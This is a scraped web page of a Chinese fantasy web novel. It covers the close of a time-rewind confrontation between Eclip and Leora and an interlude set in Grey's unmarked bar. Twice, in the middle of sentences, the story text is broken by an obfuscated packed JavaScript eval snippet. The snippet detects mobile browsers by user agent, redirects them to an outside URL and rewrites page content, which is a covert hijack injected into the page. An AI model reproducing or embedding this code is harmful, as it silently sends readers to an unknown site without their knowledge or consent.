“你准备和过去割席了吗?之前就做过一次的话再来一次有些无聊了啦。”利奥拉抱怨说。 “不,我曾经以为我许下的愿望是理解人类的感情,但其实这个我早就能做到了,不仅仅是在过去,在我作为艾克里普重生之后也是如此。”艾克里普站起身,看向手里的石杖,“真正让我再定的愿望是,我想要丢下过往的一切,这个愿望才是让我脱胎换骨的本质,才是复生的基础。” “那你现在拿着的是什么?你如果准备丢了的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827648|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话能给我再研究研究吗?”利奥拉指着石杖问。 “是阿尔卡纳。”艾克里普郑重地举起石杖介绍道,“你说得对,艾克里普和阿尔卡纳。我不会丢下她,她也不会再成为我的道具了,我宣布,阿尔卡纳存在,而且拥有灵魂!” 石杖没有说什么。 “我说啊,艾克里普。”利奥拉闭眼,又睁眼,“以这个名字命名的长条形魔法道具已经存在了你能不能考虑一下名称重复这个问题?你这幅样子就像是和别人郑重介绍自己的玩具会说话的小孩子一样你知道吗?我当初叫你艾克里普和阿尔卡纳是在提醒你你的身份而不是让你一拍脑袋就做出这种事情来啊!” 说完这么一长串东西后利奥拉还是一副意犹未尽的表情,但是有声音打断了她。 “抱歉,我没听明白您的需求。”电子音表达疑惑。 “你的名字都要被抢走了啊还在这没听明白呢!”利奥拉一顿,“我的阿尔卡纳可是会说话的,你的会吗?” “人工智能不过是信息的处理工具,两者不同,不可放在一起比较。”艾克里普郑重反驳,“阿尔卡纳存在,是个体,且拥有独一无二的灵魂。” “麻烦解释。”利奥拉打断了艾克里普的反驳,“可别说你看得到什么的,我可不会认的。” “利奥拉,你还记得那场大火吗?”艾克里普问道。 “让羽生的父亲自杀的那场?我记得,我也算是目击证人了。”利奥拉回答道。 “那么,那场大火之后,未央的尸体是你回收的吗?”艾克里普问道。 “是,同事一场,连收尸都不做就太过分啦。”利奥拉皱眉说。 但利奥拉发现,这个回答让艾克里普露出了非常欣喜,非常笃定的微笑。她无法理解这个笑容为何会出现,她讨厌这种感觉,也因此生出了不好的预感。 “阿尔卡纳告诉我说,给未央收尸的人是她的父母。”艾克里普微笑着说,“她那时已经失去了行动能力,而且魔力完全不足以让她以那样快的时间回到另一个区域的她父母家门口,这是奇迹。” “不可能。”利奥拉笃定地说,“你难道要说我见到的那具尸体是假的吗?我可不会承认这一点。” “两边都是真的吧。”艾克里普看了看手里的石杖,“因为阿尔卡纳只是看着一切,未雅她所做的那些事她也看着,她也记下,也告诉她说‘我承认你所做所为是有意义的’,然后在我问她那时发生了什么的时候,她选择了这一边来告诉我。” “这位石杖还是个不错的桌游主持人啊。”利奥拉冷笑一声,“这有什么意义?这说明了什么?这就能证明你所说的灵魂存在论吗?” “是的,阿尔卡纳主动选择了未雅,并将她的选择告知于我,她已然拥有了灵魂。”艾克里普抬起了石杖,用额头抵靠住它。 “抱歉,我——”电子音又想说什么,被利奥拉强行停下了。 “…你开心就好。”利奥拉说,“那你呢?你又要如何证明你有灵魂呢?” “我站在这里,与你辩论,就说明了这一事实,利奥拉。”艾克里普看向利奥拉,郑重地说,“我不会再让你继续夺走我和我的朋友们的未来了。” 利奥拉缓缓站起身,看向了艾克里普,随即,她笑了。 “原来是这样。”利奥拉笑得合不拢嘴,“原来到头来我还是反派啊哈哈哈——” 桌椅消失了,狂风四起,庆典区域大面积停电,建筑坍塌,一切都在往本该有的模样不可逆地归去。 “看到了吗?”利奥拉摊手质问道,“因为你,大家的庆典都被毁了!为什么要这样做呢?现在大家都没办法开开心心地笑下去了!” “今天的快乐能延续到明天吗?能延续到未来吗?”艾克里普质问道,“利奥拉,我已经能理解人类的感情了,你做得到吗?” “我为什么要去理解?!”利奥拉愤怒地反驳,这是她第一次在艾克里普面前表达这样盛大地愤怒,她的漆黑双眸收缩,如黑洞凝聚一般,“我创建的国度里没有人需要那样做!没有人会受伤!这不就够了吗?!” “那是因为反对的意念不会被允许。”艾克里普说着,留下了眼泪。 “…你以为你真的绝对能阻止我?”利奥拉迅速恢复了冷静,她面无表情,站在黑夜的半空中,只有双眼中的红点在亮着,死死地盯着艾克里普,“时间回溯之后你还活着就是个奇迹了,我们的起点是一样的,规避风险的行动不该影响到目标本身,艾克里普,你阻止不了我的。” “那就来试试看吧。”艾克里普笑了。 时间回溯魔法规则生效,契约信息记录,信息冲突,目的冲突,权利义务冲突。 “原来是这样,不需要脑子去思考就是方便啊。”利奥拉面无表情地说着,笑了起来,“那就是到了抬价阶段了,这方面我可不会输的,不要小看我的决心和我们的羁绊啊!!!” “我,我也绝不会输的!!!”艾克里普坚定地说。 魔力清算中,根据契约规则,此次计量将为个体总计量。 “你能多次使用时间回溯魔法是因为阿贝尔图腾的等量交换机制,但是,那是会有损耗的!”艾克里普说,“我不会输的!” “损耗这种东西一开始就算在里面了啦!”利奥拉大笑着说。 魔力清算完毕,条约授予。 刹那间,一切陷入了静止,时间回溯魔法那从另一个维度而来的洪流冲刷了一切,在那洪水滔滔之上,只有艾克里普与利奥拉站在那里。 义务与限制签订中,停止,有新的计量加入,魔力清算重新开始。 “…什么?”利奥拉不明所以,“事到如今还要有新的角色出现吗?” “谁还能理解时间回溯魔法?”艾克里普也不知道发生了什么,但是转眼间,权重就朝她这里倾倒了下来。 “凭什么啊?!”利奥拉勃然大怒,“难不成是奇迹?什么啊这种不讲理的东西为什么要打扰这种重要的时刻啊?!我可是不会放弃的,我可不承认——” “你当然不会放弃,你一直都这样。”一个少年的声音出现在了二人的中间,毫无疑问,她就是中途插入其中的那一位。 这是一位打扮相当奇幻的少年,她白发红眼尖耳朵,身后还有一副赤红色的蝙蝠翅膀,这毫无疑问是典型的吸血鬼造型,再加上她身上那改版并加入了过多元素的手术服,整个人就像突然插入故事中的一副插画一般突兀。 但,二人都认出了她的存在。 那是安静的,赤红的,温暖的,沉默的,位于神脉医院地下的那一片无波血湖。是阿贝尔家族跨越两个世纪隐藏的夙愿,是一切的起源。 “您,您是。”艾克里普认出了少年的形象,“爱丽丝?” 除去那些过于花哨的服装之外,少年的样貌特征与艾克里普见过的那张来自神脉医院孤儿院顶层阁楼中找到的照片上,那个被父母夹在中间的孩子一模一样。 “还是不要那样叫我了,夏娃说爱丽丝会生气。”少女顿了顿,微笑着自我介绍,“就叫我RP好了,你们不是一直都这样称呼我的吗?” RP,一切与血湖相关的实验的项目编号。 “夏娃是指那位研究员伊提吗?”艾克里普感到不可思议,“她还活着吗?” “不再活着了,她很努力,但她寿命到了。”RP摇了摇头,看向了利奥拉,“你也本该如此的。” 艾克里普这才发现利奥拉居然反常地安静。 RP走向站在原地不动,一直看着她的利奥拉,她比那红发白衣的青年矮许多,但利奥拉低头看她,却突然退后了一步。 “h37,或者e70,你一直都是这样的,能抓住一点可能性就不会放开,你捡到阿贝尔家的图腾时,一觉醒来发现自己脑子里发现了许多记忆时,你就不可能放弃这一切了。”RP抬头看着利奥拉,声音里带着平静的宽容。 “这个时候要说这个吗?”利奥拉扯了扯嘴角,声音很轻。 “只有现在能说,只有我能说。”RP认真地说,“因为你说过,你要抛弃过去,视我为你的母亲。我花了很长一段时间来理解这是什么意思,那孩子来找我时,我因为对自我的思考犹豫了一段时间,但好在,一切还不算迟。” 利奥拉张了张嘴,没有说话,只是又后退了一步。 “我不认可你忽视人类生命和未来可能性的做法,利奥拉。”RP抓住了利奥拉没有提着金属棍的另一只手,她的指甲很尖,几乎扎进了利奥拉的手掌里,“但是我认可你给自己取的新名字,也认可你的热情和努力。” “…这些,对我而言有什么意义呢?”利奥拉轻声问道,“您应该在100年前来纠正这些的,现在已经太迟了,我不会放弃的,只要世界上还有血湖存在,我就会存在。” “有意义的,因为我也是这样!就像夏娃说的那样,我们应该追求长久的健康。”RP笑了,像利奥拉一样真诚又热情,“只要你出现我就去找你,然后把你带回来!我想,这就是一个母亲该做的事情。夏娃也是这样做的。” “…哈——”利奥拉深深地叹了口气,她的肩膀垮了下去,布条垂落飘动。 “现在,向她道歉。”RP指了指艾克里普说。 “什么?!”利奥拉瞬间不满了起来,“我为什么非得——” RP飞起来强行摁着利奥拉的头走向艾克里普。 “人家和朋友本来好端端地过日子呢,你非得过去抢人家的朋友。”RP认真地说,“赶紧道歉!” 艾克里普看着利奥拉被强行摁着低垂着的脑袋,看了眼阿尔卡纳,又看了眼那根金属棍。 “…我道歉,我道歉啦!”利奥拉看了眼艾克里普,不满地说,“对不起。” “不要这样说,要发自真心地道歉!”RP说,“重新来!” “抱歉,我强迫你的朋友来我身边。”利奥拉头也不抬地说。 “…嗯嗯。”艾克里普忍住没有笑出来,“下次交朋友的话,要从一开始就真诚地对待对方哦,不要再端着架子突然出现了。” “你不也是这么干的吗?诶——”利奥拉被RP拍了脑袋,声音小了些,她看着艾克里普,“不过,你这次也要消失了吧。” 艾克里普不使用阿贝尔图腾,那么,她就没有可以代为付出代价的魔力资源。艾克里普明白这一点,也明白利奥拉想要看到的是她的懊悔和不甘心。 “可是,那是一段非常开心的日子。”艾克里普笑着从袖子里摸出了相机和录像带,“如果可以的话真想让你也看看这些,我们那时真的非常开心!” “炫耀吗?”利奥拉不满地说,“我也有朋友的!” “有吗?”RP好奇地问。 “…阿尔卡纳!”利奥拉摸出了金属棍。 “我在。”阿尔卡纳回应道。 “阿尔卡纳,我们是朋友吗?”利奥拉紧张地问道。 “抱歉,我听不明白您在说什么。”电子音一如既往地坦诚。 “离智械觉醒还有一段时间呢。”RP点头,“慢慢来吧。” “…算了。”利奥拉收起了金属棍。 义务与限制签订中,契约签订完毕,魔力支付中—— 一直以来构成艾克里普这个整体的魔力被飞速消耗,用以支付魔力回溯的代价。 RP压着利奥拉鞠躬,二人的身影很快就消失在了这个魔力空间中。 利奥拉回到了现实世界之中,她双脚着地,废墟尘土和大雨打湿了她的衣服和头发,夜晚黑而冷,人类到处都是,RP不在这里,那座高高的,和阿尔卡纳长的有点像的柱子也不在这里了。但是她知道,不久之后大洪水会倾泻,一切会回到以前。 一切又要从头开始了,利奥拉这样想着,但她为之失望的却是另一件事。 “这次会回溯多久呢?”利奥拉喃喃自语,“失败了啊。” “失败了呢。”有乐千实笑着说,她站在废墟之中,不为即将发生变化的世界所动,一如既往。 “你倒是真的回来了,千实。”利奥拉对于对方的笑容有些不满,又有些心虚地低下了头,“抱歉,我说好了要让你看到不可思议的未来的。” “失败了呢。”有乐千实耸了耸肩。 “…你不生气吗?”利奥拉抬头看有乐千实。 “我说过了,无论你结果如何,我都会站在你身边看着的。”有乐千实平静地说。 “…千实,你实话告诉我,我们是不是朋友?”利奥拉双手搭在有乐千实的肩膀上问道,但在问出口的那一刹那,她的眼泪落了下来。 雨将她打湿的头发贴在那张表情固执的脸上,利奥拉知道,这个答案很快就要变得没有意义了,但她想起了艾克里普的笑容,她好奇那个笑容出现的原因。 “你哭什么啊?”有乐千实吓了一跳,“我还是第一次看到你哭,你知道你多大了吗?” “…是不是?”利奥拉重复问道。 “是。”有乐千实回答道,忍不住往后退了一步,“你问这个干什么啊,怪恶心的。” “…谢谢你,愿意当我的朋友。”利奥拉笑着说。 魔力的支付还在继续,艾克里普感受到时间和魔力的消逝,那并不是什么痛苦的感觉,只是和犯困一样。她从来没有过这样的体验,不禁感受到了些许新奇。 但是阿尔卡纳是感受过的吧,艾克里普看着她心想,拿出了自己收集到的宝物开始看。 一台照相机,一张录像带,以及,一枚上面写着“一条命”的,被她从那个夜晚以来一直好好地收起来的硬币。 检测到魔力代偿物。 硬币被一只无法用语言描述的手缓缓捏起,打量,自信地闪闪发光。 特性检测完成,目标特性为:被剩下的,作用成功,义务与限制变动。 艾克里普看见了那一闪而过的光。 契约履行完毕。 2005年,11月28日,星期一。 “艾克里普,你有交到朋友吗?”夜藤飞鸟担心地问道,“老是待在事务所里看书可不行啊。” 这是最普通不过的一天。 艾克里普坐在餐桌的一边,接过夜藤流云递过来的茶杯,是温暖的,已经不烫了。 “还没有。”艾克里普低头看了眼杯中的绿茶,再次抬头,“我马上就去!” 92.间奏-格雷伊的酒馆 偶尔,西部市区一个街角处,桥下那家没牌子的酒馆会亮灯,虽然无人知晓其中是否正在营业,但基本上也没人真的会推门进去询问。 一来酒馆没挂牌子就大概率说明了其还未准备好开门迎客,二来,酒馆门外没有任何的菜单或者路牌指引,也没有在网络上留下信息,根本没有人能看出这居然是个酒馆。或许多年前这里还由其它人营业的时候尚且还欢迎外人尝试,但现在它的拒绝之意溢出了门外。 但这家店还是有顾客的,多是些老客,或者是店长认识的人。店长是格雷伊,她知道这里的客人多数不是她擅长打交道的存在,但来者是客,客人总归不该被莫名拒之门外。她作为这里唯一的店员既然选择开门,那就得为客人的体验负起责任来。 而且,我调酒的技术还不错,格雷伊这样相信着。 “调酒师的职责是倾听吧,其次是记住配方。”说出这句话的人是格雷伊的上司,也就是Evo的CEO亚贝琉湛。 格雷伊根本想不通这个人为什么能空出时间跑来这里坐着,早上的时候园区内的停机坪外有工作人员在,她亲眼看见飞机带着谁离开了这座城市。 但在酒馆,时间并没有意义。天黑后会有客人到来,去考虑客人所在的,所拥有的时间也是一件毫无意义的事情。直到酒馆关门之前,这处空间内有任何存在出现都不奇怪。 这或许是酒精在起作用吧,一切语言和思想都可以出现,不需要逻辑,酒馆关门后也不会留下什么,毕竟格雷伊一次能扛三个大垃圾袋。 “您的长岛冰茶。”格雷伊将盛满茶色高浓度酒精鸡尾酒的圆柱形玻璃杯推向前方,并附上两张方形餐巾纸。 她没有回答湛说的话。这几年这个人不再与普通人打交道,可能是因为这个原因她的语言系统出现了异化吧,格雷伊偶尔会听不懂她的老板在说些什么东西。 比如说现在。 “明明现在没有禁酒令了,却还要用这个名字来称呼这位吗?”湛的语气像是在缅怀一位逝去的无名友人,“我若是触摸它,那脆弱的温度维持物顷刻间就会失去其该有的模样吧。” 事实如此,格雷伊知道湛掌心的温度足够用来加热凉掉了的咖啡。 那你为什么要点这个啊,格雷伊心里这样想着,但嘴上当然是什么也没说的,她伸手取回那个玻璃杯将其整个放进热带鸡尾酒用的不锈钢圆肚杯中,并重新放了回去。 “长岛冰茶常温版,请用。”格雷伊说道。 “你竟敢敷衍大人的要求!”有人替长岛冰茶的容器发声了,此人的名字,不,不如说代号名叫贝克勒尔,她不知何时就推门而入并自然而然地站在了湛的后侧方,似乎是想等她自己发现后面多了一个人一样一言不发。 老板绝对知道后面有人站着,格雷伊忍住没有说出来这一点。 在湛还勉强会说普通人能听懂的语句的时候,她是会主动配合这群用科学研究者的名字们作为代号的手下的一些小动作的,例如这种“猜猜我是谁被动版本”,又例如在贝克勒尔说出这句话之后,湛会回头与对方交谈,无论什么都好,贝克勒尔会非常开心的。 而湛似乎也享受作为这种奇妙的洗脑型关系的上位者,偶尔乐在其中。 但湛没有反应,她一动不动,笑容像是刻在脸上一般。难道是因为她的语言系统真的坏掉了吗?格雷伊不禁怀疑道,时间真的会改变一个人这么多吗? 如果没有人开口说话的话,这个职责就轮到调酒师履行了。 “…嗯嗯。”格雷伊小声应了两句。 “我绝对会调查你的任务记录的。”贝克勒尔非常不满地威胁道,“整天浑水摸鱼也就算了,私下也是这幅态度,无论是什么职位你都一点职业素养都没有啊!” 就格雷伊对此人的了解,她说出“浑水摸鱼也就算了”的原因大概是她本人也在浑水摸鱼。 “贝克勒尔。”湛温和地呼喊道。 “是的大人!确实是我!”贝克勒尔非常欣喜自己终于被发现了,浮夸地绕了一圈之后跑到了湛的左手边,等待对方说些什么。 看着她刻意瞪大眼睛展示那双四个颜色的瞳孔,格雷伊想叹气又不敢。 她知道,湛说的那句“这双眼很适合你”大概率只是某种观后感,与她在城市剧场看完新剧之后随便留下的一句“还不错”没什么差别。可贝克勒尔不该像那些剧本家或编剧一样真的以为自己能凭这句话获得些什么东西。 几年前的湛或许会这样做,但现在不会了。 果不其然,湛只是笑了笑,她呼唤名字的唯一目的就是让贝克勒尔停止之前的话题。说到浑水摸鱼湛才是真正精于此道的那位,说到底格雷伊还是想知道她为什么现在能出现在这里。 但贝克勒尔也并没有什么失落的反应,她就这样站在那里,似乎就这样就足够了。 通常来说站在这个位置的人是代号为伦琴的一个特殊的手下,她因为天赋特殊而无法胜任常规工作,湛会让她替自己整理些文件或处理一些琐事,好有理由给她发工资不至于没饭吃。伦琴有天生的超忆症和小儿麻痹,在更替了大脑之后依旧很难独自完成天使的任务。 不过文书任务倒是她擅长的部分,那个说话有些慢的人是格雷伊在天使这个异常的团体中为数不多可以聊起来的对象,虽然对方也是一副将湛视作为至高无上的存在的样子。 这些天使全都是这幅态度,因为湛的左眼眼眶里存在的并非人类眼球,而是阿贝尔家族代代侍奉的水蛭图腾。以水蛭图腾的产物,血湖,为基础素材进行更替手术的天使们,自然而然地会将湛视作至高无上的存在,湛也有强行命令她们的能力。 但是在几年前,前一代居里因为一些原因死去之后,她就几乎不使用图腾的命令能力了。 真是莫名其妙,格雷伊想,内心对她们之间的关系性毫不在意。她并未注射生长激素,所以实际年龄就是她的外表年龄,在这样的情况下她看那些天使就像看一群拿着枪的孩子,看湛就像看命令孩子开枪射击群众的洗脑者。 天使确实被洗过脑,格雷伊没有接受那种对记忆的清洗,从而能知晓并记住她目睹的所有东西。但这样也并未对她造成太多道德层面上的拷打,她本就是在这个环境中长大的,并未接受过社会常规教育,只有乐千实偶尔会说几句听上去很让人生气的话去训诫她。 格雷伊认为自己并非会因为接受常规教育就社会化,她终究是博蒙的孩子,是阿贝尔家族的后裔,在某些方面与常人是有所不同的。但她偶尔也觉得自己这样的想法是受了老师有乐千实的影响,那是一位莫名其妙就极端自信的存在。 湛用指尖敲了敲那圆肚杯带着冰水的外层,看上去并没有品酒的打算,格雷伊知道这个人不会喝这种调制的鸡尾酒。 “格雷伊,你对我有所不满。”她微笑着说,这次的内容倒是清晰明了,“如在回忆之地的米蒂尔,你对所有人都有所不满,拉德告诉我他和你交流时你拒绝回答他的问题,为什么?” 于是话题就扯回了格雷伊白日里的那份工作,她一瞬间就从酒馆老板变回了人人可以踩一脚的老员工,而且湛的提问她确实无法忽视,但这也是问题所在。 格雷伊从倒挂的酒杯后方看向湛,确信对方知道自己为何拒绝与拉德交流,因为格雷伊觉得他实在是可怜又可笑,于是他说出的每一句话,格雷伊都没办法真的去思考答案。而是抱着一种“这个人怎么说的出这种话来?”的心态看向那个自接受更新手术之后就彻底与自己的过去说再见了的天使。 湛把双手托起下巴,等待格雷伊开口说话,贝克勒尔也看了过来,为与湛做着同一种行为而感到满意。 “…我没话可以和他说,听你的就行。”格雷伊不得不回答道。 “你绝对在看不起我们吧。”贝克勒尔嗤笑了一声,“看着一副可怜的样子,内心不知道有多傲慢呢,格雷伊,我可是知道你在想什么的。” 是的,贝克勒尔十分乐衷于学习湛的思考方式与说话方式,自然有所收获。 “哦哦。”格雷伊并不打算回应这一位。 “真是头疼,你小时候可不是这幅不坦率的样子的,时光真是何等恐怖的存在。”湛皱眉说。 “要,要我帮您按摩一下吗?”贝克勒尔紧张地询问。 “这倒不必。”湛头疼于贝克勒尔听不懂她的言外之意。 “都怪你啊!”被拒绝的贝克勒尔也不失落,直接看向格雷伊,“我都记着的。” 格雷伊只是觉得想笑,若是有乐千实出现在这里的话定是会笑出来的,她都可以想象这位说话专挑别人不想听的说的老师会用什么言辞来讥讽她们了。 “无法放弃弱者怀柔心态的人只能这样抱团取暖吗?”大概就是这样吧。 “这种时候心不在焉可不好。”湛笑着说,“在想你的老师会怎么说我们?” “抱歉请放过我。”格雷伊迅速就承认了错误,“下次拉德说话我会回复的,至少会回复一个‘收到’吧,我做事也会提前和他说一声的。” “我记着了。”贝克勒尔点头,自顾自揽下了这个活。 早知道今天就不开门了,格雷伊内心煎熬地这样想着,这个人到底为什么会出现在这里? “因为她接受了我百忙之中抽不出空出行不得不拜托她的委托啊,格雷伊。”湛微笑着说。 “…我就知道。”格雷伊接受了这个回答。 不知是因为责任感,还是为了彰显自己的能力,有乐千实作为天使的战斗行为和能力适配指导教练通常会接受任何额外出现的事务。她大概是这个公司最忙的一个人了吧,格雷伊心想。 “那我们明天还要去训练吗?”贝克勒尔问道,“最近那些移动靶速度好像变快了耶。” “老师说了,以后每个人都匹配自己的进度进行训练。”格雷伊说。 “…不愧是教练。”贝克勒尔的面色几经变化,最后只是这样说道。 湛没有说话,似乎是在想什么一般沉默不语,她不说些什么的时候总是暗藏深意的,可能是等别人开口,或者等什么事发生。格雷伊知道自己的老师会称她这样的行为是在故弄玄虚,她也这样认为,但她又没办法像有乐千实那样置之不顾。 “要点吃的吗?”格雷伊小声地打扰道。 “有什么?”贝克勒尔迅速询问。 “小食拼盘。”格雷伊指了指菜单上唯一的选项。 “这个我知道的,就是把速冻食品扔进空气炸锅而已吧,真是没建设性。”贝克勒尔说。 “吃不吃?”格雷伊问。 “要一份!”贝克勒尔点头下单。 于是格雷伊终于可以名正言顺地离开了,她回来时,湛已经离开了,这不由得令她松了口气。 “你怎么还在啊?”格雷伊问坐下了抱着那杯没动过的长岛冰茶喝的贝克勒尔。 “上菜吧,少管客人闲事。”贝克勒尔说。 老板不在,时间终于可以正常流逝了,格雷伊发自真心地希望自己能遇到一些更好说话的客人,而不是会过问她工作问题的同事。 “威士忌干饮。”绝对不好说话的客人开口下单。 “一样。”看上去加班了很多天的客人说道。 格雷伊按需带着两枚圆矮酒杯前往二人所在的非禁烟区座位,冰球浮动在金色的酒液和灯光之中,气氛昏沉,那两个人也不说话,点头致意,碟子上的干果一点没动。 可怕,可怕的成年人,格雷伊带着这样的想法缩回了吧台后面。 但实际上那两个人格雷伊是认识的,认识和觉得对方可怕并不冲突。苍伊沙和一二七是白夜社中两个家族的二把手,格雷伊不负责处理这方面事务,只是知道她们的长相而已。 “你怎么发现这里的?”一二七开口问道,从西装内袋里掏出烟盒,单手起开后拿出的是雪茄烟卷。 “喜欢流浪的朋友推荐的。”苍伊沙说着,点起了一根普通香烟。 “不错。”一二七简短评价。 “自然。”苍伊沙呼出烟团。 “前天带回来的那几个人呢?”一二七问。 “老样子。”苍伊沙说,“结束了。” “那运输队那边的回应就由我们自己定了。”一二七说。 “…可以。”苍伊沙点头。 格雷伊轻轻地缩进了厨房里面,没有继续被迫听见那两人的悄悄话。那些人谈起工作起来简直顺理成章理所当然,让她不得不联想起自己那糟糕的同事们。她对这样的事情并不感兴趣,就像之前说的,对这些人的管理并不在她的任务范围内,她也从来没有主动接取过。 反倒是库伦那两人非常热衷于接取这些任务,格雷伊一直觉得这俩人将任务视作为游戏的做法非常幼稚,也是不理解所作所为真正含义的表现。 若是将那两个人的谈话与库伦的谈话放在一起对比的话,格雷伊就会感受到巨大的差异。但这种差异感在她经营酒馆的这几年来没少感受到过,大多数情况下她并不会多在意。 这次也一样,格雷伊心想,那些人说的话与我无关,做的事也与我无关,谈论的内容更是与我无关。 越是这样想,她的心中就越是平静,甚至能做到无视脑海中的一些影子了。 好了,就这样吧,格雷伊深吸一口气,离开了厨房回到吧台处。 那里坐着一位不知何时新来的客人,穿着风衣戴着顶布帽,整个人散发着酒气,应该是来这里之前就喝过了。 “干邑白兰地不加冰。”她下单的声音倒是清醒的。 格雷伊推过去一个高脚杯,没说什么。 “你们这酒馆怎么一直不买个音响什么的。”客人倒是有话可聊,“酒馆怎么能没有伴奏呢?不过看你们最近不怎么开门,是打算换个业务了吗?” “咦?”格雷伊愣了愣,“您是以前来过的客人吗?” “很久以前了。”客人笑了笑,“那时候我喝酒还是加冰的。” “哈哈,那确实是很久以前了。”格雷伊有些欣喜于能遇到以前的老客户,“我的母亲不在了,最近只有我偶尔会在下班后营业这里,就没有注意到一些东西。” “啊,这样啊,你都这个年纪了。”客人意识到自己提及了伤心事,摸了摸鼻子,“抱歉,你下班后还有空来这里,真是不容易。” “没有的事。”格雷伊笑了,“能遇到您也算是我经营这里有了收获。” “这话说的我都有些不好意思了。”完全没有不好意思的客人爽朗地笑了,“这样想来你就是当年那个小孩子了?你的名字是什么来着?” “…格雷伊。”格雷伊沉默了片刻之后说,“叫我格雷伊就好,客人。” “哦,格雷伊。”客人笑着点了点头,“真高兴能看到这里的灯再亮起来,也能看到长大之后的你。” 格雷伊没有说话,她想到关于“长大”之前的事情,一时有些沉默。 “看来是我又多嘴了。”客人叹了口气,但很快她似乎想起了什么,开始从自己的风衣口袋里四处翻找,她的风衣里外有多个口袋,每个口袋里面都有东西。最后,她摸出的是自己的手机。 “你看!”她展示碎裂的屏幕,双指放大一张像素不高的照片,那是一张在酒馆的合照。照片中的三人都非常年轻,除了一个面色淡漠的,其它两个都笑着看向镜头,一想到其中一个人可能是眼前这个浑身酒气的人格雷伊就感到不可置信。但很快她注意到照片的角落里的一个存在,不可思议地凑近了屏幕。 那是靠在吧台看书的博蒙,和正在试图玩她的头发的,只有三四岁大的格雷伊。 “这个孩子绝对是你!”客人笑着介绍说,酒气混合着得意,“我记得,那个时候你的父亲正在厨房,我们拍了照片之后才发现不小心把你们也拍进去了。” 格雷伊看着那模糊的一角,久久沉默不语,那已经是久远到她本身都无法记起的过去了,她曾尝试把很多珍贵的东西藏起来,可那时的她连决定自己叫什么都做不到了。 “诶,诶,别哭呀。”客人手忙脚乱地递来餐巾纸,“我回去把这个角落打印出来给你。” “…谢谢,谢谢您。”格雷伊擦了擦眼泪,但却越流越多。她自己都不明白自己流泪的理由,她确实思念自己的母亲,思念博蒙,但她却明白,自己的眼泪并非是因为她们而流下的。 那是为什么呢?格雷伊不明白,却没办法从悲伤中缓过神来。 “…不用道谢的。”客人叹了口气,白兰地特有的花果香气混合酒精扑面而来,夹杂着些许二手烟的气息。 周围的一切如此普通,与格雷伊所知的自我完全割裂开来,她放下手机,放下了那一角,却还是在流泪。为什么呢?她自己也不知道了。 几天后格雷伊收到了那一角照片,她常常拿出来看,哪怕是在吧台站着的时候。自那次起她便常常回忆起自己母亲的声音和动作,那为数不多的几个回忆片段在她的脑海里翻来覆去地翻涌,声音近乎映照在眼皮上,睁眼也能看见。 “你最近心不在焉。”酒吧吧台前的客人发出了声音。 客人是有乐千实,她一直以来的老师,她的问题格雷伊无法回避。有人会觉得老师相处久了会变成家人,变得能互相了解并且能说些真心话,可格雷伊从来不敢这么想。 “抱歉,最近我在想一些事情。”格雷伊轻声说,这是不想说自己在想什么的委婉说辞,可她的老师不会体恤十岁时的她,自然也不会体恤现在的她。 “什么事情?”有乐千实毫不犹豫地问了。 “…关于我母亲的事情。”格雷伊如实说了。 “四岁前的孩童保留的记忆是极其有限的,你就只是为了这一点东西想了这么长时间?”有乐千实毫不留情地否决了格雷伊的思绪,“这是弱小的体现,你必须变得更强,而不是停留于过去。” “…是的。”格雷伊应道,她站在吧台后面,却又觉得自己和站在训练室没什么两样,熟悉的环境没有为她提供丝毫的庇护,因为有乐千实的攻击性无视任何条件。 所以她才没办法和她姐姐搞好关系啊,格雷伊在心中嘲笑道。 格雷伊知道,她的老师与有乐千奈是极其相似又极其不同的两个人,差距比她的母亲与博蒙更大一些。二人都信奉实力至上,绝不会为弱小的存在停留半步。 有乐千奈为她的孩子铺设她认为好的前路,有乐千实也同样为格雷伊准备好了她认为最好的未来。两者是不相同的道路,但格雷伊却能感同身受有乐羽生的烦恼,从而期待有能与对方真正相见,交谈的一天。 但是不同的点也在于此,格雷伊对有乐千奈算不上熟悉,但也知道对方最看重的存在除了自己的家族以外就是利益。但有乐千实追逐的却是某种虚无缥缈的存在,她非常务实的同时却又毫不犹豫地脚踏虚空向前走。 按理来说这样的人迟早要跌个大跟头的,但不知是谁一直在支持保护有乐千实,她那过于磅礴的自我意识至今还找不到一枚可以扎破的针去冲撞。 “你明白就好。”有乐千实满意于格雷伊的识时务,“沉溺于过去的人会变得软弱,软弱的人没有能力在这个世界生存下去,你有天赋,不要让过去埋没了你。” “我知道的,老师。”格雷伊答应道,心中却止不住地想到底是谁能来打击一下这个过于自我中心的人,好让她在宣传自己的脑内思想的时候收敛一点。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15827649|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>格雷伊第一个就否决了自己。 其次是湛,她作为老板在身份上似乎成天然地能对自己的下属进行打压,可格雷伊能看出来她似乎是对有乐千实的思想没有办法干涉,甚至主动避开干涉的。 这或许是因为有乐千实是自身想法最大的践行者吧,格雷伊心想,有乐千实说什么,就做什么,也做到最好,其次才是用说法去驯服其它人。但湛一直说着一些似是而非的话,在身怀特殊力量的同时并没有立场去否定有乐千实的做法和成果。 这方面上这两个人都有毛病,格雷伊确认了这一点,却不知道是谁在一味地放任这两个人的毛病持续成长,并祸害周围的人的。 不过这样算下来的话,就只能指望那些人了吧?格雷伊这样想着,心中有种撂担子的轻松感升起。 “你最近还在尝试联系博蒙吗?”有乐千实问道,却并没有真的在疑惑。 